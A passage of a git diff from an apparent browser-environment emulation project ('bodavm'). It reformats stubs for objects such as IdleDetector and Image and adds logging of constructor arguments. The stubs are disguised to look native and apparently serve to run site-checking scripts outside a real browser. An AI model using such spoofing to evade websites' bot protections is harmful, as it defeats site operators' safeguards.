IDBVersionChangeEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'IDBVersionChangeEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBVersionChangeEvent'], "IDBVersionChangeEvent"); +bodavm.memory.globalobj['IDBVersionChangeEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['IDBVersionChangeEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('IDBVersionChangeEvent', "oldVersion", { + configurable: true, + enumerable: true, + get: function oldVersion() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBVersionChangeEvent'].prototype, "IDBVersionChangeEvent", "oldVersion_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBVersionChangeEvent', "newVersion", { + configurable: true, + enumerable: true, + get: function newVersion() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBVersionChangeEvent'].prototype, "IDBVersionChangeEvent", "newVersion_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBVersionChangeEvent', "dataLoss", { + configurable: true, + enumerable: true, + get: function dataLoss() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBVersionChangeEvent'].prototype, "IDBVersionChangeEvent", "dataLoss_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBVersionChangeEvent', "dataLossMessage", { + configurable: true, + enumerable: true, + get: function dataLossMessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBVersionChangeEvent'].prototype, "IDBVersionChangeEvent", "dataLossMessage_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/IIRFilterNode.js b/env_xbb_lastest_jsdom/env/IIRFilterNode.js index d10ef776..eb21bece 100644 --- a/env_xbb_lastest_jsdom/env/IIRFilterNode.js +++ b/env_xbb_lastest_jsdom/env/IIRFilterNode.js @@ -1,6 +1,27 @@ -// IIRFilterNode对象 -bodavm.memory.globalobj['IIRFilterNode'] = function IIRFilterNode(){if (!(this instanceof IIRFilterNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'IIRFilterNode': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IIRFilterNode'], "IIRFilterNode"); -bodavm.memory.globalobj['IIRFilterNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['IIRFilterNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('IIRFilterNode', "getFrequencyResponse", {configurable:true, enumerable:true, writable:true, value:function getFrequencyResponse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IIRFilterNode'].prototype, "IIRFilterNode", "getFrequencyResponse", arguments)}},'prototype'); +// IIRFilterNode对象 + +bodavm.memory.globalobj['IIRFilterNode'] = function IIRFilterNode() { + console.log_copy('IIRFilterNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof IIRFilterNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'IIRFilterNode': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IIRFilterNode'], "IIRFilterNode"); +bodavm.memory.globalobj['IIRFilterNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['IIRFilterNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('IIRFilterNode', "getFrequencyResponse", { + configurable: true, + enumerable: true, + writable: true, + value: function getFrequencyResponse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IIRFilterNode'].prototype, "IIRFilterNode", "getFrequencyResponse", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/IdentityCredential.js b/env_xbb_lastest_jsdom/env/IdentityCredential.js index 16f655b7..19f58d5e 100644 --- a/env_xbb_lastest_jsdom/env/IdentityCredential.js +++ b/env_xbb_lastest_jsdom/env/IdentityCredential.js @@ -1,6 +1,27 @@ -// IdentityCredential对象 -bodavm.memory.globalobj['IdentityCredential'] = function IdentityCredential(){if (!(this instanceof IdentityCredential)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IdentityCredential'], "IdentityCredential"); -bodavm.memory.globalobj['IdentityCredential'].prototype.__proto__=bodavm.memory.globalobj['Credential'].prototype; -bodavm.memory.globalobj['IdentityCredential'].__proto__=bodavm.memory.globalobj['Credential']; -bodavm.toolsFunc.defineProperty('IdentityCredential', "token", {configurable:true, enumerable:true, get:function token (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdentityCredential'].prototype, "IdentityCredential", "token_get", arguments)}, set:undefined},'prototype'); +// IdentityCredential对象 + +bodavm.memory.globalobj['IdentityCredential'] = function IdentityCredential() { + console.log_copy('IdentityCredential 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof IdentityCredential)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IdentityCredential'], "IdentityCredential"); +bodavm.memory.globalobj['IdentityCredential'].prototype.__proto__ = bodavm.memory.globalobj['Credential'].prototype; +bodavm.memory.globalobj['IdentityCredential'].__proto__ = bodavm.memory.globalobj['Credential']; +bodavm.toolsFunc.defineProperty('IdentityCredential', "token", { + configurable: true, + enumerable: true, + get: function token() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdentityCredential'].prototype, "IdentityCredential", "token_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/IdleDeadline.js b/env_xbb_lastest_jsdom/env/IdleDeadline.js index 942dca36..9ab7212b 100644 --- a/env_xbb_lastest_jsdom/env/IdleDeadline.js +++ b/env_xbb_lastest_jsdom/env/IdleDeadline.js @@ -1,5 +1,33 @@ -// IdleDeadline对象 -bodavm.memory.globalobj['IdleDeadline'] = function IdleDeadline(){if (!(this instanceof IdleDeadline)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IdleDeadline'], "IdleDeadline"); -bodavm.toolsFunc.defineProperty('IdleDeadline', "didTimeout", {configurable:true, enumerable:true, get:function didTimeout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDeadline'].prototype, "IdleDeadline", "didTimeout_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IdleDeadline', "timeRemaining", {configurable:true, enumerable:true, writable:true, value:function timeRemaining (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDeadline'].prototype, "IdleDeadline", "timeRemaining", arguments)}},'prototype'); +// IdleDeadline对象 + +bodavm.memory.globalobj['IdleDeadline'] = function IdleDeadline() { + console.log_copy('IdleDeadline 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof IdleDeadline)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IdleDeadline'], "IdleDeadline"); +bodavm.toolsFunc.defineProperty('IdleDeadline', "didTimeout", { + configurable: true, + enumerable: true, + get: function didTimeout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDeadline'].prototype, "IdleDeadline", "didTimeout_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IdleDeadline', "timeRemaining", { + configurable: true, + enumerable: true, + writable: true, + value: function timeRemaining() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDeadline'].prototype, "IdleDeadline", "timeRemaining", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/IdleDetector.js b/env_xbb_lastest_jsdom/env/IdleDetector.js index 2330c328..06b0c842 100644 --- a/env_xbb_lastest_jsdom/env/IdleDetector.js +++ b/env_xbb_lastest_jsdom/env/IdleDetector.js @@ -1,10 +1,58 @@ -// IdleDetector对象 -bodavm.memory.globalobj['IdleDetector'] = function IdleDetector(){this._boarg= new bodaobj.window.IdleDetector();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IdleDetector'], "IdleDetector"); -bodavm.memory.globalobj['IdleDetector'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['IdleDetector'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('IdleDetector', "requestPermission", {configurable:true, enumerable:true, writable:true, value:function requestPermission (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDetector'].undefined, "IdleDetector", "requestPermission", arguments)}}); -bodavm.toolsFunc.defineProperty('IdleDetector', "userState", {configurable:true, enumerable:true, get:function userState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDetector'].prototype, "IdleDetector", "userState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IdleDetector', "screenState", {configurable:true, enumerable:true, get:function screenState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDetector'].prototype, "IdleDetector", "screenState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IdleDetector', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDetector'].prototype, "IdleDetector", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDetector'].prototype, "IdleDetector", "onchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IdleDetector', "start", {configurable:true, enumerable:true, writable:true, value:function start (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDetector'].prototype, "IdleDetector", "start", arguments)}},'prototype'); +// IdleDetector对象 + +bodavm.memory.globalobj['IdleDetector'] = function IdleDetector() { + console.log_copy('IdleDetector 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.IdleDetector(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IdleDetector'], "IdleDetector"); +bodavm.memory.globalobj['IdleDetector'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['IdleDetector'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('IdleDetector', "requestPermission", { + configurable: true, + enumerable: true, + writable: true, + value: function requestPermission() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDetector'].undefined, "IdleDetector", "requestPermission", arguments); + } +}); +bodavm.toolsFunc.defineProperty('IdleDetector', "userState", { + configurable: true, + enumerable: true, + get: function userState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDetector'].prototype, "IdleDetector", "userState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IdleDetector', "screenState", { + configurable: true, + enumerable: true, + get: function screenState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDetector'].prototype, "IdleDetector", "screenState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IdleDetector', "onchange", { + configurable: true, + enumerable: true, + get: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDetector'].prototype, "IdleDetector", "onchange_get", arguments); + }, + set: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDetector'].prototype, "IdleDetector", "onchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IdleDetector', "start", { + configurable: true, + enumerable: true, + writable: true, + value: function start() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDetector'].prototype, "IdleDetector", "start", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Image.js b/env_xbb_lastest_jsdom/env/Image.js index 4a0b5f0f..cfcbb6e0 100644 --- a/env_xbb_lastest_jsdom/env/Image.js +++ b/env_xbb_lastest_jsdom/env/Image.js @@ -1,31 +1,271 @@ -// Image对象 -bodavm.memory.globalobj['Image'] = function Image(){this._boarg= new bodaobj.window.Image();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Image'], "Image"); -bodavm.memory.globalobj['Image'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.toolsFunc.defineProperty('Image', "alt", {configurable:true, enumerable:true, get:function alt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "alt_get", arguments)}, set:function alt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "alt_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "src", {configurable:true, enumerable:true, get:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "src_get", arguments)}, set:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "src_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "srcset", {configurable:true, enumerable:true, get:function srcset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "srcset_get", arguments)}, set:function srcset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "srcset_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "sizes", {configurable:true, enumerable:true, get:function sizes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "sizes_get", arguments)}, set:function sizes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "sizes_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "crossOrigin", {configurable:true, enumerable:true, get:function crossOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "crossOrigin_get", arguments)}, set:function crossOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "crossOrigin_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "useMap", {configurable:true, enumerable:true, get:function useMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "useMap_get", arguments)}, set:function useMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "useMap_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "isMap", {configurable:true, enumerable:true, get:function isMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "isMap_get", arguments)}, set:function isMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "isMap_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "width_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "height_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "naturalWidth", {configurable:true, enumerable:true, get:function naturalWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "naturalWidth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "naturalHeight", {configurable:true, enumerable:true, get:function naturalHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "naturalHeight_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "complete", {configurable:true, enumerable:true, get:function complete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "complete_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "currentSrc", {configurable:true, enumerable:true, get:function currentSrc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "currentSrc_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "referrerPolicy", {configurable:true, enumerable:true, get:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "referrerPolicy_get", arguments)}, set:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "referrerPolicy_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "decoding", {configurable:true, enumerable:true, get:function decoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "decoding_get", arguments)}, set:function decoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "decoding_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "lowsrc", {configurable:true, enumerable:true, get:function lowsrc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "lowsrc_get", arguments)}, set:function lowsrc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "lowsrc_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "align_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "hspace", {configurable:true, enumerable:true, get:function hspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "hspace_get", arguments)}, set:function hspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "hspace_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "vspace", {configurable:true, enumerable:true, get:function vspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "vspace_get", arguments)}, set:function vspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "vspace_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "longDesc", {configurable:true, enumerable:true, get:function longDesc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "longDesc_get", arguments)}, set:function longDesc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "longDesc_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "border", {configurable:true, enumerable:true, get:function border (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "border_get", arguments)}, set:function border (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "border_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "decode", {configurable:true, enumerable:true, writable:true, value:function decode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "decode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "fetchPriority", {configurable:true, enumerable:true, get:function fetchPriority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "fetchPriority_get", arguments)}, set:function fetchPriority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "fetchPriority_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "loading", {configurable:true, enumerable:true, get:function loading (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "loading_get", arguments)}, set:function loading (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "loading_set", arguments)}},'prototype'); +// Image对象 + +bodavm.memory.globalobj['Image'] = function Image() { + console.log_copy('Image 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Image(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Image'], "Image"); +bodavm.memory.globalobj['Image'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.toolsFunc.defineProperty('Image', "alt", { + configurable: true, + enumerable: true, + get: function alt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "alt_get", arguments); + }, + set: function alt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "alt_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "src", { + configurable: true, + enumerable: true, + get: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "src_get", arguments); + }, + set: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "src_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "srcset", { + configurable: true, + enumerable: true, + get: function srcset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "srcset_get", arguments); + }, + set: function srcset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "srcset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "sizes", { + configurable: true, + enumerable: true, + get: function sizes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "sizes_get", arguments); + }, + set: function sizes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "sizes_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "crossOrigin", { + configurable: true, + enumerable: true, + get: function crossOrigin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "crossOrigin_get", arguments); + }, + set: function crossOrigin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "crossOrigin_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "useMap", { + configurable: true, + enumerable: true, + get: function useMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "useMap_get", arguments); + }, + set: function useMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "useMap_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "isMap", { + configurable: true, + enumerable: true, + get: function isMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "isMap_get", arguments); + }, + set: function isMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "isMap_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "width_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "height_get", arguments); + }, + set: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "height_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "naturalWidth", { + configurable: true, + enumerable: true, + get: function naturalWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "naturalWidth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "naturalHeight", { + configurable: true, + enumerable: true, + get: function naturalHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "naturalHeight_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "complete", { + configurable: true, + enumerable: true, + get: function complete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "complete_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "currentSrc", { + configurable: true, + enumerable: true, + get: function currentSrc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "currentSrc_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "referrerPolicy", { + configurable: true, + enumerable: true, + get: function referrerPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "referrerPolicy_get", arguments); + }, + set: function referrerPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "referrerPolicy_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "decoding", { + configurable: true, + enumerable: true, + get: function decoding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "decoding_get", arguments); + }, + set: function decoding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "decoding_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "lowsrc", { + configurable: true, + enumerable: true, + get: function lowsrc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "lowsrc_get", arguments); + }, + set: function lowsrc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "lowsrc_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "align_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "hspace", { + configurable: true, + enumerable: true, + get: function hspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "hspace_get", arguments); + }, + set: function hspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "hspace_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "vspace", { + configurable: true, + enumerable: true, + get: function vspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "vspace_get", arguments); + }, + set: function vspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "vspace_set", arguments); + 